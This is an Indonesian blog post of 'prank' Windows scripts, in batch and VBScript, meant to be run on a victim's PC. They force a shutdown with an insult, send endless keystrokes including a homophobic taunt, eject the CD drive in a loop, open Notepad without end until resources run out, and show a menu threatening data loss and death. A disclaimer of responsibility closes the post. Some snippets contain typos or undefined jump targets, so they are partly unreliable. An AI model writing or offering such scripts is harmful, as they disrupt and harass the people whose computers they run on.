Saturday, September 29, 2012

SCRIPT JAHIL YANG BUAT GERAM DAN MENJENGKELKAN

Kali ini kita buat beberapa script yang berfungsi pada OS windows scripnya akan berfungsi sesuai dengan fungsinya tdk perlu susah … karna script hanya di muat di notepad, type save nya cukup dengan format .VBS atau .bat

langsung sj …..

1. Memberi pesan dan shutdown komputer
Content
@echo off
msg * Aku tidak suka kamu
shutdown -c “Error! Kamu jelek sekali” -s

save dengan .bat


2. Menyalakan tombol Caps lock secara simultan
Content
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

save dengan extension .vbs

3. Buka/tutup CD drive secara terus menerus
Content
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save dengan Extexsion .vbs

4. Tekan Enter secara simultan
Content
et wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

save dengan ex.vbs

5. Mengetik pesan kita secara otomatis di notepad
Content
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

save dengan Ex.vbs

6. Menjalankan BACKSPACE secara simultan
Content
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

save dengan ex.vbs

7. Hack keyboard sehingga korban dipaksa mengetik ” You are a gay” secara simultan
Content
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a gay”
loop

save dengan ex.vbs

8. Buka Notepad secara terus menerus
Content
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save dengan type .bat

9. Munculin 5 pilihan yang harus korban pilih
Content
@echo off
title The end of the world
cd C:\
:menu
cls
echo oops sy tdk tanggung jawab anda apa yang barusan anda lakuin hehhe,,semuanya dh jadi tanggung jawab anda sendiri…
pause
echo pilih nama cwe yang lu suka =P :
echo 1. datanya bakal ilang lho.
echo 2. komputer nya corrupt lho
echo 3. heheh no comment deh klo yang ini
echo 4. mau mati pake jalan ini?
echo 5. bye bye…
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

save dengan .bat

Saya tdk bertanggung jawab atas penyalahgunaan script2 di atas.. ini cuma mau share aja :)

No comments:

Post a Comment